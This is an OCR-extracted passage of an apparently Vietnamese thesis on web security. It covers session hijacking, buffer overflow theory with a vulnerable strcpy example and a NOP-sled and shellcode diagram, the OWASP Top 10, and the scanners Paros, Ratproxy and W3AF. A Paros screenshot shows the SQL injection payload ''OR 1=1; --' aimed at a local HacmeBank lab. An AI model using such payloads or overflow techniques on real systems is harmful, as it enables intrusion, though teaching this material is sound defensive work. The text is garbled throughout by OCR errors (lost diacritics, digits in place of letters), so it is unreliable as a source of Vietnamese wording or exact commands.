dung 14y thoi gian hay dia chi IP cia ngudi dung dé tao sessionID dé han ché ving
Vét can.

Vi du: Tn cong trén trang Register.com

Bat ki ai dang ki quan 1i domain trén Register.com ciing duoc quyén thay doi
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noi dung DNS ctia minh. Muc dich cta hacker 13 ¢6 duge mat khau cia ngudi quan
tri domain d6 trén Register.com. Chirc nang thay d6i mat khau cua Register.com 12
diém yéu ma hacker sir dung. Khi ngudi ding muén thay doi mat khau, nhap vao
lien két “Forgot password”. Sau d6 Register.com s& giri mot email cung cap cho
nguoi ding mot lién két kém theo session ID trén URL dé xac thyc viéc thay doi.
2.7.3.3 Tdn cong kiéu ding doan ma dé danh cap phién 1am viéc
Bang cach chén vao mot doan mé thuc thi trén chinh trinh duyét cua nan
nhan, hacker c6 thé lira nguoi dung theo vét mot lién két dé tir d6 thuc hién danh
cap cookie ciia ngudi dung va cach nay duoc thyuc hién thong qua 16i Cross-Site
Scripting.
Sau khi ¢6 dugc phién lam viéc ciia nguoi dung, hacker vao phién lam viéc
cua ho.
2.7.3.4 Bién phdp phdng chong
Noi dung cach phong chong twong tuy nhu cach phong chong trong ki thuat
“An dinh phién lam viéc” va cach tin cong Cross-Site Scripting.
Va mot s6 luu ¥ sau day:
e  Khong duoc chii quan khi nghi rang thuat toan tao session ciia ing dung
la bao mat, khong ai co thé doan dugc.
e Vi session ID qua ngin, hacker ¢ thé dung ki thuat “Vét can”. Nhung
khong vi thé ma cho rang tmg dung s& bao mat véi session ID dai va phirc tap

vi kich thudc session ID s& 1a mot van dé néu thuat toan khong tot.

Nhén xét:

Ki thuat tdn cong nay loi dung sy long léo trong viéc quan 1i phién lam viéc
cta ing dung dong thoi nham dén nhitng nguoi sir dung thiéu can trong trong viéc
truy cap mot ing dung web. Trong céc chuong duoc dé cp, chi co ki thuat XSS va

quan 1i phién 1am viéc 1a loi dung su thiéu than trong ctia nguoi dung.
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2.8 Tran by dém (Buffer Overflow) [5]

2.8.1. Khai niém

Buffer overflow d4 timg 1a 16 hong trong hé thong bao mat ciia UNIX tir
nhiéu nim nay nhung chi dugc cong bd sau budi thao luan ctia Dr. Mudge trong tai
licu 1995 “Bang cach ndo viét mot chuong trinh khai thac 16 hong Buffer
Overflow”. Véi ki thuat Buffer Overflow, cho phép mot sé luong 16n dit liéu duoc
cung cap bai ngudi ding ma vuot qua luong bd nhé cap phat ban dau boi tmg dung
do d6 gay cho hé thong 1am vao tinh trang tran bd nhd, tham chi c6 thé bi chén thém
mot doan ma bat ki. Néu tng dung dugc cdu hinh dé dugc thuc thi nhu root thi
Nguoi tin cong co thé thao tic nhu mot nha quan tri hé thong ciia web server. Hau
hét nhimg van dé déu phat sinh tir kha nang lap trinh yéu kém ctia nhiing nha lap

trinh. Pon cir 12 sy cau tha trong kiém tra kich thudc dit liéu nhap vao.

Vi du:
func(char *ch)
{
char buffer[256];
strcpy(buffer,ch);
¥

Buffer chi duoc cip phat 256 byte nhung ¢ ham func, néu buffer nhan 257 ki
tu tir ch thi 16i tran bo dém. K§ thuat khai thac 16i tran bo dém (buffer overflow
exploit) duoc xem la mot trong nhiing k¥ thuat hacking kinh dién nhat. Phan nay
dugc chia 1am 2 phan:

Phan 1: Té chitc b nhé, stack, goi ham, shellcode: Gidi thiéu to chirc bo
nhd cua mot tién trinh (process), cac thao tac trén bo nhé stack khi goi ham va k¥
thuat co ban dé tao shellcode - doan ma thuc thi mot giao tiép dong lénh (shell).

Phan 2: Ky thuit khai thac 16i tran b§ dém: Gisi thiéu ky thuat tran b
dém co ban, td chirc shellcode, xac dinh dia chi tra vé, dia chi shellcode, cach

truyén shellcode cho churong trinh bj 15i.
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Cac chi tiét k¥ thuat minh hoa ¢ day duoc thyc hién trén mdi truong Linux
x86 (kernel 2.2.20, glibc-2.1.3), tuy nhién vé mit 1y thuyét co thé ap dung cho bat

ky méi treong ndo khac.

2.8.2. So d6 td chirc ciia bd nhé

Dia chi ving nhé cao
Stack
Data
Text

Dia chi viing nhé thap

Hinh 2.9: So d6 to chiic by nhé
M5i tién trinh thuc thi déu duoc hé diéu hanh cap cho mot khong gian bd
nhd 4o (logic) gidng nhau. Khong gian nhd ndy goém 3 ving: text, data va stack. Y
nghia cta 3 vung nay nhu sau:

e Ving Text la ving ¢b dinh, chira cic m4 lénh thyc thi (instruction)
va dir liéu chi doc (read-only). Vung nay dugc chia sé gilra cac
tién trinh thyc thi cing mot file chuong trinh va tuong tmg véi
phan doan text cua file thuc thi. Dir liéu ¢ vung nay la chi doc, moi
thao tdc nham ghi 1én ving nhd nay déu giy 16i segmentation
violation.

e Vung Data chtra cac dir liéu da dugc khoi tao hoac chua khoi tao
gid tri. Cac bién toan cuc va bién tinh dugc chira trong ving nay.

e \VUng Stack la vung nhé dugc danh riéng khi thyc thi chuong trinh
dung dé chtra gia tri cac bién cuc bd ciia ham, tham s6 goi ham
cling nhu gia tri tra vé&. Thao tac trén bd nhé stack duoc thao tac
theo co ché “vao sau ra trudc” - LIFO (Last In, First Out) véi hai
lénh quan trong nhét 1a PUSH va POP. Trong pham vi bai viét

nay, tac gia chi tap trung tim hiéu vé vlng stack.
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2.8.2.1 Stack

Stack 1a viing nh¢ dung dé luu céc tham s6 va cac bién cuc bo cua ham, gia
tri EBP (dia chi day Stack), dia chi tra vé. Cac bién duoc cap phat tir ving nhé cao
dén ving nhé thap.
Stack hoat dong theo nguyén tic “vao sau ra truéc” (Last In First Out - LIFO). Céc
gia tri dugc day vao stack sau cung sé duoc 1ay ra khoi stack trudc tién.
2.8.2.2 Push va Pop

Stack do tir trén xudng dudi(tir ving nhé cao dén ving nhé thap). Thanh ghi

ESP ludn tré dén dinh cta stack(ving nhd ¢ dia chi thap).

Pinh cua bd nhé Pay cua Stack
«— ESP
Day cia bd nhé Binh cuda Stack

Hinh 2.10: Stack

o PUSH mot gia tri vao stack
Dinh ciia bd nhé Day cua Stack
«— ESP cil
) «— ESP m&i=ESP cii-kich thuéc cua gia tri (1)
DPay cua b nhé Pinh cina Stack

Hinh 2.11: Push m¢t gia tri vao stack
(1) ESP=ESP-kich thudc cua gia tri
(2) Value dugc day vao stack
o POP mgt gia tri ra khéi stack
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DPinh cia bg nhé Pay cua Stack

¢— ESP m&i=ESP cu+kich thude cua gia tri (2)

(1) gatry  |«—ESPcii
Pay cua bd nho Binh cia Stack

Hinh 2.12: Pop mdt gié tri ra khoi stack

(1) Value dugc lay ra khoi stack
(@) ESP=ESP++ kich thudc cua gia tri
2.8.2.3 Cach lam viéc cua ham

Mot chuong trinh dugc chia thanh nhiéu doan ma goi 14 thu tuc (procedure).
Mbi thil tuc chiu trach nhiém vé mot hanh dong nao d6 ciia chuong trinh. Mdi thii
tuc sau khi hoan thanh nhiém vu s& goi thu tuc ké tiép. Sau 101 goi mot thu tuc, dia
chi ké tiép sau dia chi goi thi tuc s& duogc luu vao trong STACK.
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0x0012FF00

0x0012FFO01

0x0012FF02

0x0012FFO03
0x0012FF04--------mnmmmmmmmmmmmoeeeee dinh Stack
0x0012FFO05

0x0012FFO06

0x0012FFO7
0x0012FF08------=-===mnmmmmmmmmoeeae day Stack

0x401F2034 goi thu tuc Q -> thu tuc Q duoc goi dé thuc thi
0x401F2035

0x40209876 thu tuc Q

OXFFFFFFFF

Khi 1énh tai dia chi 0x401F2034 dugc thyc thi thi khdng gian dia chi
nhu sau:

0x0012FF00---------=-=-==-=-=-==-m---- dinh Stack
0x0012FF01 40

0x0012FF02 1F

0x0012FF03 20

0x0012FF04 35

0x0012FF05

0x0012FFO06

0x0012FFO07
0x0012FF08---------=---==-=-=nmmnmm-- day Stack
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Nhu vay dia chi sau dia chi goi thu tuc dugc dua vao trong STACK. Khi tha
tuc Q chuan bi hoan thanh nhiém vu ctia minh va san sang quay tro vé thi tién trinh
nhan lai dia chi d& luu trudc d6 & STACK va khdi phuc lai viéc thyc thi. Dia chi
nay dugc goi 1a “saved return address”.

Ghi cha: Thanh ghi EIP ludn tré dén dia chi cua cau lénh tiép theo can thi
hanh.

Vi du:

strcpy(one,two);
printf("Okie\n");

Thi return address s€ tro tdi vi tri cua 1énh goi t&i ham printf trong bo nha, va
khi ham strcpy két thuc thi con tré 1énh s& chi toi do.
2.8.2.4 Shell code

Can phai thay d6i dia chi tro dén shellcode dé d6 mot shell. Co thé hinh dung
ra cach dat shellcode trén stack nhu sau:

- Trudce khi tran bd dém:

Day cua by nhd Dinh ctia b nhd
<----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
Dinh cta stack Pay cua stack

B = buffer

E = stack frame pointer
R = return address

F = cac data khac

- Khi tran b6 dém:

Day cua by nhd Dinh cua by nhd
<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
Dinh cta stack Pay cua stack

S = shellcode

A = con tro dén shellcode
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F = cac data khac

e  Lap tran bo dém (dén return addr) bang dia chi cua buffer.

e  Dit shellcode vao buffer.

Nhu vay dia chi trd vé s& tro dén shellcode, shellcode s& d6 mdt root shell.
Tuy nhién, that khé dé 1am cho ret addr tro dén dung shellcode. Mot cach co thé
thuc hién duogc cong viéc kho khan do, la dat vao dau cua buffer mot day lénh
NOP(NO oPeration - khdng xir 1i), tiép theo day shellcode vao sau NOPs. Nhu vy
khi thay d6i ret addr tro dén mot noi nay d6 & dau buffer, cac 1énh NOP s& duoc thi
hanh, ching khéng lam gi ca. Dén khi gip cac 1énh shellcode, shellcode s& 1am

nhiém vu d6 root shell. Stack c6 dang nhu sau:

bay cua bo nho binh ctua bo nho

NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
binh cua stack Day cua stack
N = NOP

S = shellcode

A = con tro dén shellcode

F = céac data khac

2.8.3. Mot so cach gy tran by dém qua rng dung web

Cac budc co ban cila k¥ thuat tran bo dém 1a: chuan bi bo dém dung dé 1am
tran, xac dinh dia chi tra vé (RET), x4c dinh dia chi cua bd dém chtra shellcode,
cudi cling goi thuc thi chwong trinh bi tran bo dém.

Thoéng qua nhitng 6 nhap dir liéu hacker c6 thé str dung mot chudi string nhi
phan c6 kha nang thyc thi doan 1énh trén may dich hodc pha v& hé thong do phai xir
Ii dix liéu qua dai, vuot kha ning cho phép cta hé thong (c6 thé néi cach ny ciing 1a
cach tan cong DoS). Thong thuong doan ma rat don gian, vi du nhu exec(“sh”) dé
tao ra mot root shell.

Mot vi du vé cach tan cong buffer overflow qua Web 1a Code Red Worm.
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2.8.4 Céc cach phong chéng
e Ngudi thiét ké web can phai kiém tra ki kich thudc dit liéu trudc khi sir
dung.
e  Dung Referer trong HTTP Header dé kiém tra yéu cau c6 phai xuat phat
tr may nguoi dung.

Nhén xét:

Pay la ki thuat tan cong di sau vao phan hé thong nhat, doi hoi hacker 1a
ngudi hiéu sau vé to chirc bd nhd ciing nhu vé ngdn ngir lap trinh Assembly. Tuy
nhién, diéu nay chi doi héi néu hacker muén diéu khién hé thong. Néu chi sira doi
nodi dung kich thudc 6 nhap dé tir d6 dua Ién trinh chi mot khdi dir liéu 16n dé he
thng c6 thé bi pha hiry vi khdng di dung luong dap tng viéc yéu cau xu 1i khéi dix

liéu do.
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CHUONG 3: NHUNG CONG CU QUET LO HONG BAO
MAT LIEN QUAN

Pé bao mat website cia minh khoi hacker, diéu dau tién ban can Iam 1a kiém
tra muc do bao mat an toan caa ung dung web. Cach hiéu qua dé lam viéc nay 1a
théng qua viéc st dung cac cong cu quét 156 hong bao mat tng dung web [12] dé tim
ra van dé can giai quyét.

Do vay, khi thiét ké website ciia minh, ching ta can phai tim ra c4c 16 hong
trudc khi hacker tim thay né, c6 gang st dung mot s6 cong cu co lién quan dé tim

kiém va sira chita cac 16 hong bao mat website.

3.1 Giéi thiéu ky thuat quét
Quét 12 mot trong ba ki thuat thu thap thong tin (sau In ddu an_Footprintting

va Liét k& mang Network Enumeration) cua mét hacker. Nhing ké xam nhép
thuong phai ton dén 90% thoi gian dé thu thap thong tin va chi c6 10% thoi gian
cho cudc tan cong. Vi thé day 1a mot trong cac budc quan trong cta hacker ciing
nhu d6i v6i cac nha quan tri mang, Qua Vviéc quét mot hé thong, hacker hay cac nha
quan tri mang c6 thé c6 dugc cac thong tin sau:

° bia chi IP.

e  Hé¢diéu hanh.

e  Cau triic h¢ thong.

e  Cac chuong trinh, dich vu nao dang chay trén may tinh.

Co ba loai quét khac nhau:
e Quét cong (Port scanning): Cac goi tin duoc giri dén cac cong may muyc
tiéu dé tim hiéu vé cac dich vu mang cia may tinh d6. Néu cac lién két c6 thé
thuc hién ching to céng dé dang hoat dong. Tur d6 co thé tiép tuc xac dinh
dich vu dang chay trén cong do.
e  Quét h¢ théng mang (Network scanning): Sir dung cac k¥ thuat quét dé

xac dinh thong tin cila cic host dang hoat dong trén mot hé thong mang. Loai
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quét nay co thé phuc vu cho tin cong hay danh gia tinh bao mat ciia hé théng
mang [16].

e  Quét 15 hong (Vulnerability Scanning): Dya trén viéc phéan tich cac
thong tin thu thap tir hai loai quét trén cong véi viéc st dung mot sb ki thuat
dé tim ra céc 16 hong cua hé théng. Tir d6 c6 thé tan cong hay khic phuc cac
16 hong duoc phét hién.

Quaé trinh thyc hién viéc tan cong:

: |Kiém tra hé théng dang Kiém tra céng

hoat dong dang mé& :

: [ L3y banner/ Xac dinh Xac dinh dich vy R

: | hé digdu hanh : Cac budc
: = quét

R R Yl

IVé so d6 cac host co |5I
{hong

Quét 16 héng

Chuan bj proxy

Hinh 3.1: Cac budc thuc hién viéc tan cong

Do pham vi dé tai chi thyc hién trong budc quét nén ta chi tién hanh nghién ciu 5
bude dau tién d6 la:
e  Kiém tra hé thong dang hoat dong: Budc ndy nham xac dinh may muc
tiéu hién dang hoat trén hé thdng mang hay khong.
e  Kiém tra cong dang mo: Xac dinh cac cong ma may muc tiéu mé nham
kham phé céc dich vu chay trén may muc tiéu & budc tiép theo.
. Xac dinh dich vu: Dya vao budc thir hai ta co tiép tuc thyc hién viéc quét
dé xac dinh duoc cac dich dang chay trén céc cong do.
o L4y banner/ Xac dinh hé diéu hanh: Thu thap cac banner va cac thong tin
ma may muc tiéu tiét 16 dé xac dinh hé diéu hanh hay cac webserver, cac hé

quan tri co s¢ dit liéu dugce sur dung.
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e  Quét I5 hong: Dua vao cac thong tin thu thap duoc, tiép tuc thuc hién
viéc quét dé tim kiém cac thong tin nhay cam. Tir d6 xac dinh cac 16 hong ciia
hé thong.

C6 rat nhiéu san pham thuong mai va mién phi dé hd trg ban trong viéc thir
nghiém bao mat cta thiét ké web. Tuy nhién, ké xAm nhap tin cong v6i nhiéu hinh
thirc va nhiéu 16 hong bao mat khac nhau, trong khi d6 mdi cong cu chi ¢ thé quét
duoc mot s6 16 hong nhat dinh [13], do d6 can c¢6 su két hop cac cong cu lai voi
nhau va tly vao 15 hong bao mat ta ma ta ¢ thé két hop véi cac giao thie tir xa dé
khic phuc cho hop 1y. Phan sau s& néu bo tiéu chi danh gia va danh sach mot s6

cong cu hiéu qua hién nay.

3.2 B tiéu chi danh gia

Trudce khi khao sat cac cong cu danh gia an toan website, xin dwgc dua ra bo
tiéu chi dang duoc sir dung pho bién hién nay 1a OWASP [14]. OWASP viét tit cua
Open Web Application Security Project (du 4n md vé bao mat tng dung web), du
an 12 mot sy ¢d gang chung cila cila cong dong giup cac to chirc ¢ thé phét trién,
mua hoic bao tri céc ung dung an todn. OWASP Top 10 2013 danh dau 11 nim
hoat dong tuyén truyén vé su quan trong cia bao mat théng tin cho céc tng dung.
WASP Top 10 xuat hién dau tién vao nam 2003, dugc sira d6i vai diém nho trong
nhitng nam 2004 va 2007, dén nay la phién ban 2013. Muc tiéu chinh caa OWASP
Top 10 1a dé huéng dan nguai 1ap trinh vién, nguoi thiét ké, ki su, quan Ii va ca t6
chic vé hau qua cia nhing diém yéu quan trong nhat trong wng dung web. Top 10
cung cap nhitng k¥ ning co ban dé bao chéng lai cac rai ro va huéng dan dé xir ly.
Bang 3.1: OWASP Top 10

Al - Loi nhiing m& | Xay ra trong cac ang dung nhu SQL, LDAP khi nhitng dir liéu
khdng xac thuc duoc giri téi hé thong bién dich nhu mot phan
ctia ma lénh. Nhitng dir liéu nay caa ké tin cdng c6 thé lira hé
thng bién dich thyuc hién nhitng ma lénh doc hai hoac giup ké
tan cong xam nhap dén nhiing dir liéu quan trong mot cach trai
phep.

A2 - Ldi xac thyc | Nhitng doan chuong trinh kiém tra danh tinh va quan Iy phién
va quan ly phién | lam viéc cia nguoi st dung thuong hay dugc lam qua loa
lam viéc khong ding cach. Piéu nay gilp ké thAm nhap c6 thé an cap
mat ma, khda, ma cua cac phién lam viéc {session token} hoac
tan dung nhiing 16i khac dé gia mao danh tinh cdc ngudi ding
khéc.
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A3 - Thuc thi ma
script xau (XSS)

Xay ra khi mot (ng dung tiép nhan nhiing dir liéu khong dang
tin cay va giri chiing dén cho trinh duyét web ma khong qua
xtr Iy va kiém duyét. XSS cho phép ké tan cong thuc hién ma
doc trén trinh duyét caa nguoi bi tan cong va lgi dung an cap
phién truy cap dé mao danh hoac huy hoai trang web hozc hra
ngudi st dung dén nhitng trang web chtra ma doc khac.

A4 - DPdi tugng
th’am chiéu truc
tiep khéng an toan

Xay ra khi nguoi phat trién dé 16 mot tham chiéu dén nhirng
d6i twong trong hé théng nhu cac tap tin, thw muc hay khéa dix
licu. Néu ching ta khong co6 mot hé thong kiém tra truy cap,
ké tan cdng co thé loi dung nhitng tham chiéu nay dé truy cap
dir liéu mot cach trai phép.

A5 - Sai s6t cau
hinh bao mat

Mot co ché an ninh tét can phai dinh nghia nhirng hiéu chinh
vé an ninh va trién khai né cho céc ung dung, may chu ang
dung, may cha web, may cha dir liéu va cac tng dung nén
tang. T4t ca nhiing thiét lap nén duoc dinh nghia, thuc hién va
bao tri boi vi rat nhiéu hé thong khong duoc trien khai voi
thiét 1ap an toan miac dinh. Cac hiéu chinh ciing bao gdbm cap
nhat phan mém va nhiig thu vién dwoc s dung béi ng
dung.

A6 - Phoi bay cac
dir liéu nhay cam

Nhiéu &rng dung web khong bao vé dir liéu nhay cam nhu the
tin dung, ma sé thué va nhiing ma xac thyc bi mat bang cac
phuong thirc m4 héa hay bam (hashing). Ké tan cong c6 thé an
cap hay thay d6i nhiing dir liéu hay cam nay va tién hanh hanh
vi trom cap, gian lan thé tin dung,...

A7 - Thiéu chuc
nang dieu khién
truy cap

Gan nhu tat ca cac ung dung web kiém tra quyén truy cap cap
d6 chirc nang trudc khi thuc hién chirc nang ma c6 thé nhin
thay trong giao dién ngudi ding. Tuy nhién, céc ang dung can
phai thuc hién kiém tra kiém soat truy cap tuong tu trén may
chu khi mdi chirc ning dugC truy cap. Néu yéu Cau khong
duoc xac nhan, ké tan cong sé cd thé gia mao yéu cau dé truy
cap vao chirc nang trai phép.

A8 - Gia mao yéu
cau (CSRF)

Kiéu tan cong nay ép budc trinh duyét web cua mot ngudi
dung da dang nhap giri nhitng yéu cau cac HTTP gia bao géom
cookie cua phién truy cap va nhitng thong tin tu dong khac
bao gém thong tin dang nhap dén mot ung dung web. Diéu
nay, cho phep ke tan cong budc trinh duyét web tao ra nhitng
yéu cau dén ung dung web ma ng dung khong thé biét day 1a
nhitng yéu cau gia mao cua ké tan cong.

A9 - Su: dur]g
thanh phan d& ton
tai 16 hong

Céc 16 hdng c6 thé co trong cac thanh phan (thanh phan phét
trién wng dung) nhu cac thu vién, cac framework, va mo-dun
phan mém khac. Cac thanh phan nay gan nhu luén ludn chay
véi quyeén cao nhat trong hé thong. Vi vay, néu bi khai thac,
cac thanh phan nay c6 thé gay mat dir liéu nghiém trong. Cac
rng dung sir dung céc thanh phan ton tai 16 hong c6 thé lam
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suy yeu phong thu cua hé thong, cho phép mot loat cac cudc

tan cong va anh huong dén hé thong.

A10 - Chuyen
huéng va chuyen
tiep thieu kiem tra

Ung dung web thudng chuyén hudng, chuyén tiép nguoi ding
dén nhiing trang web, website khac va si dung nhiing thong
tin thiéu tin cdy dé xac dinh trang dich dén. Néu khong dugc
kiém tra mot cach can than, ké tan cong c6 thé loi dung dé
chuyén huéng nan nhan dén cac trang web lira dao hay trang
web chara phan mém doc hai, hodc chuyén tiép dé truy cap cac

trang trai phep.

3.3 Mot s6 cong cu quét 16 hong bao mat img dung web thong dung hién

nay

Danh sach mot s6 chuong trinh quét 16 hong bao mat website hién nay:

Bang 3.2: Danh sach mot s6 chuong trinh quét 16 hong bao mat

Tén chwong trinh T4c gia Ban quyén Hé diéu hanh
Acunetix WVS Acunetix Tra phi/ Mién phi Windows
(Tinh nang han ché)
AppScan IBM Tra phi Windows
App Scanner Trustwave Tra phi Windows
Burp Suite PortSwigger Tra phi / Mién phi HO tro hau hét cac
(Tinh nang han ché) | Hé diéu hanh
GamaScan GamaSec Tra phi Windows
Grabber Romain Gaucher | M& nguon mo Python 2.4,
BeautifulSoup va
PyXML
N-Stalker N-Stalker Tra phi Windows
Netsparker MavitunaSecurity | Tra phi Windows
Nexpose Rapid7 Tra phi/ Mién phi Windows/Linux
(Tinh nang han ché)
Nikto CIRT M4 nguon ma Unix/Linux
AppSpider Rapid7 Tra phi Windows
ParosPro MileSCAN Tra phi Windows
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Retina BeyondTrust Tra phi Windows
Vega Subgraph M4 nguon ma Windows, Linux va
Macintosh
Wapiti Informatica M4 ngudn mo Windows,
Gesfor Unix/Linux va
Macintosh
Tripwire WebApp360 | TripWire Tra phi Windows
Weblnspect HP Tra phi Windows
W3AF W3AF.org M3& nguon mo Linux va Mac
Xenotix XSS Exploit | OWASP M4 nguon ma Windows
Framework
Zed Attack Proxy OWASP M4 nguon ma Windows,
Unix/Linux va
Macintosh

3.3.1 Paros Proxy

Paros la mot chwong trinh viét bang Java, n6 ding dé danh gia bao mat ting

dung web. Dic tinh ciia Paros 1a déng vai trd nhu mot proxy, bat tat ca dir liéu
HTTP va HTTPS gitra may may chii va may tram, bao gém céa cookies va toan b
dir liéu trén form. Sau d6 danh gia cac 16 hong cua website dya trén dir liéu thu thap
duoc.

Paros la mot chuong trinh mién phi, hd trg ca viéc xem va chinh stra céac
thong diép HTTP/HTTPS dé thay d6i cac muc nhu cookies va dir liéu trén form. N6
c6 thé ghi nhan Iuu luong truy cip web, tinh toan mang bam va quét mot sb tan
cong tmg dung web thong thuong, nhu SQL Injection va Cross-site Scripting.

Cac budc dé st dung chuong trinh nhu sau:

Bwére 1: Kiém tra cau hinh cai dat roxy cia Paros, mic dinh Paros st dung localhost
va cong 8080 1a cau hinh mic dinh.

Bwéie 2: Cai dit proxy cho trinh duyét, dia chi proxy va cong truy cap cai dat nhu

bude 1.
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Bwée 3: DUng trinh duyét web vira cdu hinh dé truy cap vao website can danh gia,
VA m§ tat ca cac link can quét trén trang web dé Paros thu thap thong tin.

Bwée 4: Quét dit liéu thu duoc dé 13y két qua. Paros s& sinh ra mot file bao céo két
qua dang html.

Bwée 5: Vao menu “Report\Last scan report” dé xem két qua. Béo céo két qua chia
lam 2 phan, phan dau sé& trinh bay tong quan tat ca cac 15 hong, phan tht 2 s& trinh

chi tiét timg 16 hong.

File Edit View Analyse Report Tools Help
l/Sites | |f Request rResponse |/Trap I
¢ [ Sites POST http:/f127.0.0.1/HacmeBank w2 _Websitefaspx/Login.aspx?function=Welcome HTT| |
¢ Clmp:ff127.00.1  [||P/1.1 _ ) _ _
User-Agent: Mozillafs.0 (compatible;, Kongueror/3.5; Linux) KHTMLf2.5.7 (like Gecko) (
¢ [CJ HacmeBank_v2 _ Debian)
¢ [ aspx Referer: http:/f127.0.0.1/HacmeBank_v2_Websitejaspx/main.aspx?function="Welcome |_
D GET:main||||lPragrna: no-cache
D POST:logir |[|Cache-contral: no-cache
D POST-mai Accept: text/html, image/jpeag, image/pna, text/*, image;™, */*
“Mainaccept-Encoding: x- =
Accept-Charset: iso-8859-15, utf-8,9=0.5, ".q=0.5
Accept-Language: en
Host: 127.0.0.1
Cookie: CookieLoginattempts=5; Admin=false; ASP.NET Sessionld=bzrlgvgswijlx34551z

4]

Parameter Name Walue
__VIEWSTATE ADwtMT QyOTYYODYSMjs7PnTi+ jNSYHTcc....
txtUserMame 'OR 1=1; --
txtPassword
IbtnSubmit Submit
] [ ||[[Tabular View | v [v] Trap request [_| Trap response | Continue I Drop I
1 POST http:ff127.0.0.1/HacmeBank_v2 _Website jaspx flogin.aspx 200 OK 12317ms |~
5 POST http:ff127.0.0.1/HacmeBank_v2 _Websitefaspx/login.aspx 200 OK 14500ms
& POST http:fj127.0.0.1/HacmeBank_v2 _Wehsite faspx//login.aspx 302 Found 17090ms
7 GET http: ff127.0.0. 1/HacmeBank_v2 _Website faspx/main. aspx?function=... 200 OK 1085ms
8 POST http:fj127.0.0.1/HacmeBank_v2 _Websitefaspx,/main. aspx?function=... 200 OK 13848ms

History | Spider | Alents | output |

Hinh 3.2: Két qua thu duoc tir Paros
Két luan: Paros 1a mot chuwong trinh mién phi tot dé danh gia cac 16 hong
bao mat ctia website. Co thé quét bat ky trang web ndo ma khong can chimg thuc
quyén s& hiru ddi voi trang web d6. Giao dién thi truc quan va dé sir dung. Nhung
nhuoc diém cua Paros 1a khdng tu dong quét toan bo trang web dugce ma phai thong
qua trinh duyét dé duyét tirg page cua trang web. Diéu nay rat tha cong va mat rat

nhiéu thoi gian va cdng stc dé quét nhitng trang web 1on.
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3.3.2 Google Ratproxy

Ratproxy la cdng cu danh gia bao mat website ctia hdng Google, nham hd tro
cho céc lap trinh vién phét trién web c6 thé kiém tra va phat hién cac 16 hong bao
mat ma tin tic co thé khai thac tan cong.

Ratproxy 1a mot cong cu hoan toan mién phi, Google da quyét dinh ngudn
mo hoéa tmg dung ndy, ma lau nay vén chi duoc str dung duy nhat trong ndi bd
hang. Nham gitp cho cac webmaster trong viéc do tim 18i bao mat khac nhau vé ma
lap trinh khi phét trién cac ing dung web nhu cac 161 XSS (cross-site scripting), 161
caching trinh duyét ciing nhu mot s6 16i thong dung khac.

Michal Zalewski - mot chuyén gia bao mat ciia Google - cho biét “hang ky
vong Ratproxy s& gop mot phan thiét thyc trong viéc ting cuong d6 an toan cho tng
dung web ciing nhu gilp ngudi ding hiéu duoc nhitng thach thic ma cdng nghé
web ngay nay dang phai d6i mat”.

Céc budc dé sir dung chuong trinh: Ratproxy |a chuong trinh chay trén linux,
néu mudn chay trén Windows thi phai dung Cygwin.

Bwée 1: Mo mot command shell va chay Ratproxy bang cau 1énh sau:

ratproxy —v ratproxy -w report.log —d localhost —leXtifscgjmcls

Bwée 2: Khi Ratproxy d4 chay thi mo trinh duyét web 1én dé cau hinh proxy cho
trinh duygét.

Bwée 3: Dung trinh duyét dé truy cap vao website can danh gi4, sir dung tat ca cac
page cua trang web. Toan bo dir liéu sé duoc di qua Ratproxy va két qua s& duoc
ghi vao file log.

Bwée 4: Quay tré lai command shell dang chay ¢ budc 1, bdm Ctrl+C dé stop
Ratproxy, va gb cau lénh sau dé tao file két qua:

ratproxy-report.sh report.log > report.html

Bwéic 5: Mo file report.html d4 tao & trén dé xem két qua
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Report risk and risk modifier designations:

| Low [RT HIGH | Issue urgency classification (composite of impact and identification accuracy)

E3 Non-discriminatory entry for further analysis

# [eche] Query parameters echoed back / not echoed in HTTP response, respectively
Request URL or query data likely is / is not predictable to third parties,

! [ered] resc:}ectively e Y ) )

+ [autn] Request requires / does not require cookie authentication, respectively

MIME type mismatch on renderabile file 1oqqe|

PlPE type: text/htrl, detected: appl 1c$t1cn fe-javascript. cha set: UTF-8

- IEDIHI FREB AUTH EET http://fmy-site.com:B8/order/jscr 1pL - EBB [view trace]

y/uploadify phs swi'nvar
Lr;chrL:& c'a;L(:c 98¢ ;\nvar upload_folder =
yfcancel.pn

fa-javascript. cha set: UTF-8

i cc"'SS'c'dc fiscr 1pL - EBB [vi
up

/ feancel.pn
PlPE type: chtfhtri. detected: applicationss=- Ja ascript. cha set: UTF-8

Hinh 3.3: Két qua quét bang Ratproxy
Két ludn: Ratproxy la cong cu dénh gia an toan website t6t ciia Google, ¢O
kha niang quét ndi dung va 16i ra nhilng doan ma Javascript dugc gidu trong Style
Sheet, hd trg quét giao thirc an toan SSL (Secure Socket Layer). Tuy nhién, phuong
thire ban chu dong cua Ratproxy d& lam giam tinh hiéu qua ctua chuong trinh, nguoi
dung phai thuc hién thao tac tha cong trén timg page ctia website 1am mat rat nhiéu

thoi gian va cong stec.

3.3.3 W3AF (Web Application Attack and Audit Framework) [15]

WB3AF 1 1 c6ng cu dung dé ra soat 16i bao mat va kiém dinh mirc do an toan
ciia website. Pang nhu tén goi ctia nd, W3AF thyuc su 14 mot framework dé phat
trién cac tmg dung vé danh gia an toan website. N6 c6 nhiéu ham hd tro viéc quét
va do tim 16 hong bao mat.

WB3AF duoc trang chuyén vé cong cu bao mat Sectools.org danh gia 1a mot
trong 3 cong cu quét [2] 16 hong website tét nhat hién nay. Pay 1a cong cu dugc
cong dong ma ngudn mo dong gbp va xay dung, cac phién ban moi dugce cap nhat

lién tuc, va hién nay dang 1a phién ban r6376.
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WB3AF do tim va phat hién dugc rat nhiéu loai 16 hong bao mat, tir nhing 16i
thong dung dén nhimng 18i it khi gip, cac 16i méi phat sinh duge cong dong ma
nguén mé bo sung thudng xuyén.

WS3AF cho phép quét tu dong toan b website va hd trg quét nang cao theo
céu hinh tly chon dé ph hop véi timg loai website. N6 khong sir dung proxy ma
dung cac plugins dang Spider dé thu thap toan bo dir liéu ctia website. Cac plugins
duogc chia thanh 3 dang: Discovery, Audit va Attack. O day chung ta chu yéu sir
dung 2 loai plugins la Discovery va Audit.

Céc budc sir dung chuong trinh: W3AF ¢0 2 giao dién sur dung 1a giao dién
console va giao dién d6 hoa (GUI). O day dé tai xin gidi thiéu cach sir dung giao
dién dd hoa.

